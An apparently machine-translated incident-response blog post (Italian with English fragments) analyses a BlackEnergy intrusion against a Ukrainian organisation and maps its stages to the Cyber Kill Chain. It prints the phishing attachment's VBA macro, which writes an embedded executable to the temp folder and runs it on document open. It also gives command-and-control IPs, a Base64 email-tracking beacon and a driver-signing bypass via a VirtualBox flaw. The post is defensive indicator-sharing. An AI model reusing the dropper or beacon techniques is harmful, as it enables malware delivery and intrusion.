SMANTELLAMENTO DI BLACKENERGY, PARTE 3 – TUTTI A BORDO!

[post-views]
Marzo 29, 2016 · 15 min di lettura
SMANTELLAMENTO DI BLACKENERGY, PARTE 3 – TUTTI A BORDO!

Abbording  – the act of abbordaggio una nave nemica nave as parte of an attacco.

In today’s post, I will describe a part of investigation of one cyber security incident that has eventually evolved into a global investigation connected with an attack based on BlackEnergy that has hit a number of industries in Ukraine. As we progressed through investigation and performed a systematic retrospective analysis, we have mapped the attack to the Lockheed Martin’s Cyber Kill Chain methodology and thus I will refer to its structure during my story.

blackenergy-p3_2

PROLOGO

Qui inizia la storia. Devo mantenere un certo livello di discrezione, quindi i nomi degli utenti e dei server di infrastruttura sono mascherati e alterati. Tuttavia, le date e gli indirizzi IP esterni sono inalterati e li condivido nello stesso stato come apparivano nei file di log. Avevamo un piano d’azione seguente: appena scopriamo qualsiasi Indicatore di Compromesso (IOC), lo confrontiamo con i dati di log e, basandoci su ulteriori scoperte, correggiamo i nostri filtri e poi avviamo un’altra ricerca. Abbiamo sistematicamente setacciato gigabyte di log e il quadro generale ha iniziato a emergere più chiaramente per noi, che ora condividerò con voi in questo articolo.

Domenica mattina del 25 ottobre, ho ricevuto una chiamata dal nostro dipartimento di amministrazione IT con il messaggio che i server controller di dominio si sono spenti improvvisamente durante la notte e non sono mai più ripartiti. Quando il nostro team è arrivato sul posto, la prima cosa che abbiamo chiesto sono state le immagini dei server “crashati” (ovviamente avevamo immagini virtuali). L’analisi iniziale ha chiaramente indicato che entrambi i server avevano il loro MBR sovrascritto. Siamo riusciti a recuperare l’MBR applicando un po’ di magia pratica con TestDisk (https://en.wikipedia.org/wiki/TestDisk) e abbiamo proceduto con l’analisi. Le cose sono diventate più interessanti. La maggior parte dei file sul disco erano riempiti di zeri, quindi sembravano tutti come stessi file con la stessa dimensione ma dentro c’erano solo zeri! Tra i file sopravvissuti, alcuni file di log degli eventi hanno servito come punto di partenza per iniziare a mappare tutti gli eventi anomali sulla linea temporale. Descriverò gli indicatori scoperti in ordine inverso, dal momento in cui è avvenuto l’incidente fino all’inizio (penetrazione).

CAPITOLO 1. AZIONI E OBIETTIVI DELL’ATTACCO

Mentre lavoravamo con i dati di log dei controller di dominio recuperati, abbiamo ricevuto un’altra chiamata affermando che un altro server è stato “infettato” con sintomi simili, questa volta però era un server applicativo. Quindi, abbiamo ottenuto un’immagine di questo server anche:
blackenergy-p3_3Abbiamo analizzato gli eventi che si sono verificati proprio prima del “crash” e li abbiamo mappati sulla nostra linea temporale:blackenergy-p3_4-1Lasciatemi spiegare un po’ cosa esattamente è visualizzato qui. Un’area con bordo blu segna i risultati delle azioni che abbiamo testimoniato come crash dei server. Poco prima dello spegnimento, sono stati registrati tentativi di accesso non autorizzati dagli account amministratore di dominio. Tra le azioni eseguite ci sono la modifica del svchost.exe servizio e la generazione del servizio figlio msDefenderSvc:

blackenergy-p3_5

blackenergy-p3_6

blackenergy-p3_7

blackenergy-p3_8

blackenergy-p3_9

https://www.virustotal.com/en/file/f52869474834be5a6b5df7f8f0c46cbc7e9b22fa5cb30bee0f363ec6eb056b95/analysis/A sinistra, c’è un altro evento di interesse che prova che la politica globale è stata modificata:

blackenergy-p3_10

blackenergy-p3_11

Senza un’idea prematura e guardando ai contenuti dello script vediamo che quando un utente accede al suo PC, un file chiamato ololo.exe (che ho parzialmente reversato e descritto qui: https://socprime.com/en/blog/dismantling-killdisk-reverse-of-the-blackenergy-destructive-component/) verrà automaticamente scaricato da una condivisione di rete.

Inoltre, analizzando i log delle workstation (anticipando un po’ voglio dire che abbiamo controllato i log di più di cento workstation) abbiamo scoperto un’anomalia seguente: un insieme di eventi provenienti da utenti privilegiati che hanno modificato operazioni pianificate sui PC degli utenti:

blackenergy-p3_12

Ecco come l’evento appariva nei log del controller di dominio:

blackenergy-p3_13

Inoltre, questo è come appariva sul PC dell’utente:

blackenergy-p3_14

Questa era fondamentalmente una “colpo finale”, nel caso in cui il controller di dominio non riuscisse a completare il suo compito e si schiantasse prima di poter distribuire la politica di gruppo alle workstation. Di conseguenza, possiamo chiaramente mappare questa parte dell’attacco alle “Azioni sugli Obiettivi” del modello Kill Chain. In questo caso, l’obiettivo è distruggere i dati sulla massima quantità possibile di PC.

blackenergy-p3_15

CAPITOLO 2. “INSTALLAZIONE E SFRUTTAMENTO”, OVVERO DISTRIBUIRE BLACKENERGY SFRUTTANDO LE VULNERABILITÀ.

Allora, cosa è successo prima che gli avversari ottenessero l’accesso ai server? Analizzando i log degli eventi, abbiamo scoperto la seguente sequenza degli eventi:blackenergy-p3_16Descrizione delle fasi dell’attacco numerate:

1 & 2 – accesso VPN non autorizzato e subito accesso RDP ai controller di dominio

3 – installazione di VBoxDrv.sys servizio (CVE-2008-3431). Questo passaggio era necessario per aggirare il DSE (Driver Signature Enforcement è un controllo obbligatorio delle firme dei driver) senza un riavvio ( http://www.coresecurity.com/content/virtualbox-privilege-escalation-vulnerability ).

4 – poiché il DSE è neutralizzato come parte del passaggio precedente, l’installazione di driver auto-firmati adpu320.sys and amdide.sys non sarà più un problema.

Entrambi i file .sys producono lo stesso valore hash. Al 06.11.2015 solo 2 soluzioni antivirus potevano rilevarli, ma già allora era chiaro che stavamo trattando con BlackEnergy (entrambi i controller di dominio avevano una soluzione antivirus in esecuzione ma non era una di quelle 2 AV che potevano rilevarla):blackenergy-p3_174 giorni dopo, 12 antivirus già rilevavano questi campioni.

blackenergy-p3_18

Pertanto, possiamo concludere che questa fase dell’attacco può essere mappata con successo alle fasi della Cyber Kill Chain di “Installazione” e “Sfruttamento”.

blackenergy-p3_19

CAPITOLO 3. “AZIONI SUGLI OBIETTIVI”, “RICOGNIZIONE”

È ovvio che gli account amministratore sono stati compromessi ed è ragionevole sospettare che anche le loro workstation siano state soggette ad accessi non autorizzati. Basandoci sull’analisi dei loro log di workstation (e di alcune centinaia di altre workstation), è stata scoperta un’attività anomala correlata all’uso dell’utilità di gestione remota da Sysinternals suite PsExec :

blackenergy-p3_20

La linea temporale sopra descrive un frammento dell’attività relativa alla raccolta dati dalle workstation.

Ecco come l’evento appariva nei log delle workstation:

blackenergy-p3_21

Questa fase può essere mappata nuovamente al modello Cyber Kill Chain, corrispondendo rispettivamente a “Ricognizione” e “Azioni sugli Obiettivi” (gli obiettivi essendo la raccolta di dati su infrastruttura e utenti). Ho mappato questa fase a “Ricognizione” anche perché c’è forte sospetto che gli avversari abbiano raccolto dati aggiuntivi dalle workstation per proseguire con il loro attacco.

blackenergy-p3_22

CAPITOLO 4. “COMANDO E CONTROLLO (C2)”, COMUNICAZIONE CON I SERVER BLACKENERGY

Abbiamo eseguito un’analisi parallela sia dei log delle workstation che dei log del firewall. Poiché era chiaro che BlackEnergy è stato usato per attaccarci, abbiamo usato tutte le ricerche e gli articoli pubblicati su questo argomento per verificare le comunicazioni con i centri di comando noti:blackenergy-p3_23Come visto in questa parte della cronologia, tracciamo la storia dell’attacco fino a maggio 2015! Il 15.05.2015 è il giorno in cui avviene la prima comunicazione con uno dei noti server di comando e controllo che è anche parte della rete Tor (5.149.254.114).

Sfortunatamente, una workstation che ha effettuato la comunicazione con questo centro di comando ha anche contenuto un file con le password per diversi profili YouTube e il 22.05.2015 quegli account sono stati dirottati. L’hacking è stato condotto da altri due server 185.61.138.143 and 46.28.68.158 (nodi Tor ancora) sono stati usati indirizzi email falsi e numeri di telefono di recupero. Non ci sono stati danni particolari causati dall’attacco e durante quel tempo, non sembrava nemmeno un attacco mirato. Gli account sono stati rapidamente recuperati, è stata aggiunta un’autenticazione a 2 fattori, sono state tratte conclusioni e l’incidente è stato mantenuto chiuso fino a novembre 2015 – il giorno in cui è chiaramente diventato un pezzo di un puzzle più grande!

Credo che questa fase dell’attacco possa essere classificata come “Comando & Controllo (C2)”:

blackenergy-p3_24

CAPITOLO 5. “CONSEGNA” DEI MODULI BLACKENERGY

blackenergy-p3_25

Abbiamo recuperato un elenco di tutte le workstation che hanno effettuato la comunicazione con i server di comando dai log del firewall e abbiamo costruito un filtro basato sugli indirizzi IP di queste workstation, questo filtro è stato utilizzato per cercare attraverso tutta l’attività che queste macchine hanno condotto nell’intero 2015 con l’obiettivo di trovare eventuali anomalie e schemi. Gli schemi sono stati trovati. Un legame comune (a parte il numero di server ordinari come Google o Facebook/VK/Twitter ecc.) sembrava essere un singolo server con un IP di 176.53.127.194 (e di nuovo questo è un nodo Tor!):

blackenergy-p3_26

Il 23.04.2015 uno degli impiegati ha ricevuto una normale email, che ha mostrato alcuni dettagli interessanti dopo un’osservazione più approfondita (ovviamente durante il tempo dell’indagine, più di mezzo anno dopo l’apertura dell’email):blackenergy-p3_27
Per prima cosa, guardiamo agli header dell’email:

Received: from mx1-mail.com (mx1-mail.com [5.149.248.67]) Thu, 23 Apr 2015 09:43:45 +0300

Received: from webmail.rada.gov.ua (port=80 helo=webmail.rada.gov.ua)

by mx1-mail.com [5.149.248.67] with esmtp (envelope-from <info@rada.gov.ua>)

From: «info@rada.gov.ua» <info@rada.gov.ua>

Return-Path: info@rada.gov.ua

5.149.248.67 – un indirizzo IP già noto che è stato usato per inviare email simili ad altre organizzazioni (https://cys-centrum.com/ru/news/black_energy_2_3).

Per quanto riguarda l’allegato, un file .xls contiene la seguente macro:

Private a(864) As Variant

Private Sub Init0()

a(1) = Array(77, 90, 144, 0, 3, 0, 0, 0, 4, 0, 0, 0, 255, 255, 0, 0, 184, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 232, 0, 0, 0, 14, 31, 186, 14, 0, 180, 9, 205, 33, 184, 1, 76, 205, 33, 84, 104, 105, 115, 32, 112, 114, 111, 106, 32, 99, 97, 110, 110, 111, 116, 32, 98, 101, 32, 114, 117, 110, 32, 105, 110, 32, 68, 79, 83, 32, 109, 111, 100, 101, 46, 13, 13, 10, 36, 0, 0, 0, 0, 0, 0, 0)

…..пропущено……

a(864) = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0).

End Sub

 

Private Sub MacroExpl()

Dim fnum As Integer

Dim fname As String

Dim i As Integer

Dim j As Integer

Dim aa As Byte

Init0

Init28

fnum = FreeFile

fname = Environ(“TMP”) & “vba_macro.exe

Open fname For Binary As #fnum

For i = 1 To 864

For j = 0 To 127

            aa = a(i)(j)

            Put #fnum, , aa

        Next j

    Next i

    Close #fnum

    Dim rss

    rss = Shell(fname, 1)

End Sub

 

Private Sub Document_Open()

    MacroExpl

End Sub

By putting together all 864 elements of the array А, as an output we will receive vba_macro.exe, che in realtà è un BlackEnergy dropper

https://www.virustotal.com/ru/file/ca7a8180996a98e718f427837f9d52453b78d0a307e06e1866db4d4ce969d525/analysis/1458721530/

https://www.hybrid-analysis.com/sample/ca7a8180996a98e718f427837f9d52453b78d0a307e06e1866db4d4ce969d525?environmentId=1Il dropper avvia una connessione a un centro di comando già noto a noi:blackenergy-p3_28_1Successivamente, il malware riceve ulteriori “istruzioni”, forma un file chiamato FONTCACHE.DAT, e lo carica utilizzando rundll32.exe poiché FONTCACHE.DAT è in realtà una variazione di packet.dll – dal Hackers Encyclopedia 2002, sviluppato da Whirlwind Software per Windows OS:C:WINDOWSsystem32rundll32.exe C:WINDOWSsystem32rundll32.exe" "C:Documents and Settings<USER>Local SettingsApplication DataFONTCACHE.DAT"Poi lo scrive in Avvio:C:Documents and Settings<USER>Start MenuProgramsStartup{22A16F66-CB92-4B66-8BDE-26B5CD34553F}.lnkOra diamo uno sguardo più approfondito all’immagine nel piè di pagina dell’email che non è riuscita a caricare:blackenergy-p3_28_2Un link alla nostra “immagine” appare così:src=”http://176.53.127.194/bWFpbF9pdmFub3YuaXZhbkBkb21lbi51YQ==.pngDopo qualche decodifica Base64 si trasforma in:src=”http://176.53.127.194/mail_ivanov.ivan@domen.ua.pngPertanto, questo è un avviso per gli avversari che conferma il fatto che Ivan Ivanov ha aperto con successo un’email ed è pronto a “ricevere ulteriori istruzioni”.

Voglio sottolineare ancora una volta che c’era solo un’email in aprile e aveva solo un destinatario.

Ora diamo uno sguardo alle email ricevute a luglio (invio massiccio a più di 2000 indirizzi). Un pattern comune è che tutte le email contenevano lo stesso “beacon” che ha riferito allo stesso IP (176.53.127.194) e ha identificato precisamente il destinatario. Quindi non si trattava solo di una campagna di spam, ma di una campagna mirata, e l’unica parte che era diversa è l’assenza del prefisso ”mail_” nel messaggio decodificato:

blackenergy-p3_29

Lo stesso indirizzo IP nell’intestazione:

Received: from mx1-mail.com (mx1-mail.com [5.149.248.67]) by

Received: from webmail.rada.gov.ua (port=80 helo=webmail.rada.gov.ua)

by  mx1-mail.com [5.149.248.67] con esmtp (envelope-from  <pravyysektor@rada.gov.ua>)

Da: “pravyysektor@rada.gov.ua” <pravyysektor@rada.gov.ua>

Data: Tue, 28 Jul 2015 09:08:38 +0200

Percorso di ritorno: pravyysektor@rada.gov.ua

Contenuto della lettera che mostra chiaramente il nostro “beacon”:blackenergy-p3_29_1Nonostante il fatto che l’invio massiccio abbia indirizzato l’intera azienda, ovviamente, uno spam e che email con tale testo siano proibite da aprire, alcuni utenti hanno comunque aperto l’email, causando un’esplosione di comunicazione con un noto centro di comando e controllo:blackenergy-p3_30Come osservato nella linea temporale, la prima comunicazione ha scaricato 28 863 byte, la successiva già 359 276 byte ecc. Le comunicazioni avevano una chiara sequenza e struttura chiara:

blackenergy-p3_31

Non c’è dubbio nel classificare questa fase dell’attacco come “Consegna”:

blackenergy-p3_32

Come possiamo vedere, l’attacco ha tutti i segni della struttura APT che può essere chiaramente descritta utilizzando la metodologia Cyber Kill Chain.

VALUTAZIONE DELLE CONSEGUENZE

Sul lato negativo: i dati sono stati distrutti su due controller di dominio, un server di applicazione e poco più di una dozzina di PC.Sul lato positivo delle cose:  abbiamo ottenuto un test di penetrazione gratuito, un’esperienza inestimabile di una vera indagine APT, abbiamo creato/ottimizzato una serie di strumenti che non solo automatizzano il nostro lavoro con l’elaborazione dei log ma anche l’analisi inversa del malware (ma sto andando avanti troppo, questo è un argomento per un altro articolo completo). La gestione ha acquisito una comprensione molto migliore dello scopo della sicurezza informatica (inestimabile!). Questa singola dimostrazione di una minaccia reale e l’indagine che ne è seguita ci ha aiutato più di precedenti manifestazioni di preoccupazioni o minacce ipotetiche. La collaborazione dettagliata con gli amministratori IT ha portato la nostra collaborazione professionale al livello successivo. Pertanto, considero questi eventi un vero addestramento al combattimento informatico e la migliore lezione per ottenere una reale comprensione dei metodi e delle tecniche degli avversari.

Come conclusione, voglio dire che molte cose sono state lasciate fuori dall’articolo e alcuni pezzi sono ancora in fase di studio approfondito.

Ci sono due obiettivi che voglio raggiungere pubblicando questa indagine:

  1. Per dimostrare che da un lato BlackEnergy non è un mega-mostro da lanciare su un pianeta disabitato e che può, sei mesi dopo, costruire la propria base operativa che può alimentare la sua sopravvivenza 🙂 D’altra parte, è uno strumento potente e specializzato che può, nelle mani di uno specialista, causare danni massicci alla vittima dell’attacco.
  2. Per sottolineare che un attacco che sfrutta BlackEnergy è solo uno degli esempi dell’evoluzione delle tecnologie che sono attivamente utilizzate dai cybercriminali. Queste non sono semplici incursioni informatiche, stiamo affrontando operazioni finemente organizzate e precisamente pianificate, simili a quelle condotte da forze speciali militari (l’immagine dell’articolo è stata scelta per questa associazione).

Basato su quanto sopra, possiamo costruire uno dei scenari di utilizzo di tali informazioni: perché uno dovrebbe hackerare una banca quando può semplicemente acquistare un accesso a un’infrastruttura di qualsiasi azienda della catena di approvvigionamento, che ha una connettività VPN site-to-site costante e ricevere un accesso “ufficialmente autorizzato” (possiamo riferirci al cartone animato su una banca e un bidello: https://www.youtube.com/watch?v=fB2b-lTjCQA ).

Come al solito, sarei grato a tutti coloro che controllano i loro dati di log per gli indicatori menzionati (IOC) dopo aver letto l’articolo.

Nei prossimi articoli condividerò alcuni metodi che consentono di rilevare alcuni indicatori delle attività degli avversari descritti e consentono di costruire un insieme complesso di misure organizzative e tecniche volte a minimizzare la probabilità che tali incidenti abbiano luogo in un’organizzazione, o almeno a incrementare la probabilità di una loro rapida scoperta.

CREDITI

Un enorme grazie va ai miei colleghi per il loro entusiasmo, perseveranza e un lavoro ben fatto. Voglio esprimere un ringraziamento dedicato a Marina Krotofil e al team di Andrii Bezverkhyi per l’assistenza nella preparazione dell’analisi e dell’articolo. Ulteriore ringraziamento va a HPE , LanTec and SOC Prime per l’aiuto materiale e tecnico con hardware e software forniti durante l’indagine e il contrasto all’attacco.

Tradotto dall’originale di Andrii Bezverkhyi | CEO SOC Prime

Questo articolo è stato utile?

Metti mi piace e condividilo con i tuoi colleghi.
Unisciti alla piattaforma Detection as Code di SOC Prime per migliorare la visibilità sulle minacce più rilevanti per il tuo business. Per aiutarti a iniziare e ottenere valore immediato, prenota ora un incontro con gli esperti di SOC Prime.